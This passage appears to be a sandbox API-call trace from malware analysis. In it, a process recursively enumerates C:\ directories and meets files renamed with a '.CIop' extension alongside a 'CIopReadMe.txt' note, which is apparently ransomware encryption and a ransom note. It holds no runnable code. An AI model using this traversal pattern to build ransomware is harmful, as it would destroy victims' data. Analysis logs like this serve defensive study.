Settings", lpString2=".") returned 1 [0148.633] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.633] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.633] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0148.633] SetErrorMode (uMode=0x1) returned 0x1 [0148.633] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0148.633] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0148.633] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Documents and Settings\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0148.633] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0148.633] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0148.633] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0148.634] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0148.634] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0148.634] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.634] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.634] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0148.634] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0148.634] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0148.634] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0148.634] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0148.634] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0148.634] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.634] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.634] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.634] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.634] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.634] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0148.634] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0148.635] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.635] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.635] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0148.635] SetErrorMode (uMode=0x1) returned 0x1 [0148.635] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0148.635] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0148.635] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\PerfLogs\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0148.635] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0148.635] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0148.635] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0148.635] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0148.635] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.636] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0148.636] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0148.636] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0148.636] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0148.636] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0148.636] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0148.636] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.636] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0148.636] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0148.636] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.636] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.636] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0148.636] SetErrorMode (uMode=0x1) returned 0x1 [0148.637] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0148.637] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0148.637] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0148.637] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0148.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0148.637] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0148.637] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0148.637] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.637] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0148.637] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0148.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0148.638] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0148.638] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0148.638] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.638] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.638] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0148.639] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0148.639] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.639] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.639] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0148.639] SetErrorMode (uMode=0x1) returned 0x1 [0148.639] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0148.639] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0148.639] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files (x86)\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0148.639] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0148.639] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0148.639] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0148.639] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0148.639] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0148.640] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0148.640] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0148.640] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0148.640] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0148.640] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0148.640] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.640] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.640] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0148.640] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0148.640] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.640] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.640] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0148.641] SetErrorMode (uMode=0x1) returned 0x1 [0148.641] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0148.641] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0148.641] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0148.641] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0148.641] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0148.641] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0148.641] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0148.641] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0148.641] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0148.641] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0148.641] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0148.642] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0148.642] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0148.642] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0148.642] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.642] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0148.642] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0148.642] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.642] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.642] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0148.642] SetErrorMode (uMode=0x1) returned 0x1 [0148.642] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0148.642] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0148.642] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Recovery\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0148.643] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0148.643] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0148.643] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0148.643] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0148.643] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.643] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.643] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0148.643] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.643] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0148.644] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0148.644] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0148.644] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0148.644] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0148.644] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0148.644] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.644] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.644] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.644] lstrcmpW (lpString1="WindowsRE", lpString2="..") returned 1 [0148.644] lstrcmpW (lpString1="WindowsRE", lpString2=".") returned 1 [0148.644] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0148.644] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0148.644] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0148.645] SetErrorMode (uMode=0x1) returned 0x1 [0148.645] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0148.645] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0148.645] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Recovery\\WindowsRE\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0148.645] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0148.645] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0148.645] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0148.645] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0148.645] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.645] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.645] lstrcmpW (lpString1="boot.sdi.CIop", lpString2="..") returned 1 [0148.645] lstrcmpW (lpString1="boot.sdi.CIop", lpString2=".") returned 1 [0148.645] lstrlenW (lpString=".CIop") returned 5 [0148.646] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.646] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.646] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.646] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.646] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.646] lstrcmpW (lpString1="ReAgent.xml.CIop", lpString2="..") returned 1 [0148.646] lstrcmpW (lpString1="ReAgent.xml.CIop", lpString2=".") returned 1 [0148.646] lstrlenW (lpString=".CIop") returned 5 [0148.646] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.646] lstrcmpW (lpString1="Winre.wim.CIop", lpString2="..") returned 1 [0148.646] lstrcmpW (lpString1="Winre.wim.CIop", lpString2=".") returned 1 [0148.646] lstrlenW (lpString=".CIop") returned 5 [0148.646] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0148.646] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.646] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0148.647] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0148.647] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0148.647] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0148.647] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0148.647] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0148.647] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.647] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.647] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.647] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.647] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.647] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.647] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0148.648] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.648] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0148.648] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0148.648] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0148.648] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0148.648] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.649] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.649] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0148.649] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0148.649] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.649] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.649] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0148.649] SetErrorMode (uMode=0x1) returned 0x1 [0148.649] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0148.649] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0148.649] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\System Volume Information\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0148.649] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0148.649] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0148.649] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0148.649] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0148.650] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.650] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0148.650] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0148.650] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0148.650] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0148.650] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0148.650] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.650] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.650] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0148.650] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0148.650] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.650] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.650] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0148.650] SetErrorMode (uMode=0x1) returned 0x1 [0148.650] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0148.651] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0148.651] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Users\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0148.651] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0148.651] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0148.651] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0148.651] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0148.651] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.651] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.651] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.651] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.651] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.651] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.651] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0148.651] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0148.651] lstrlenW (lpString="desktop.ini") returned 11 [0148.651] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.651] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0148.651] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.651] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.652] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0148.652] lstrcatW (in: lpString1="C:\\Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0148.652] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0148.652] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0148.652] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0148.652] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.652] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.652] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.652] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0148.652] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0148.652] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" 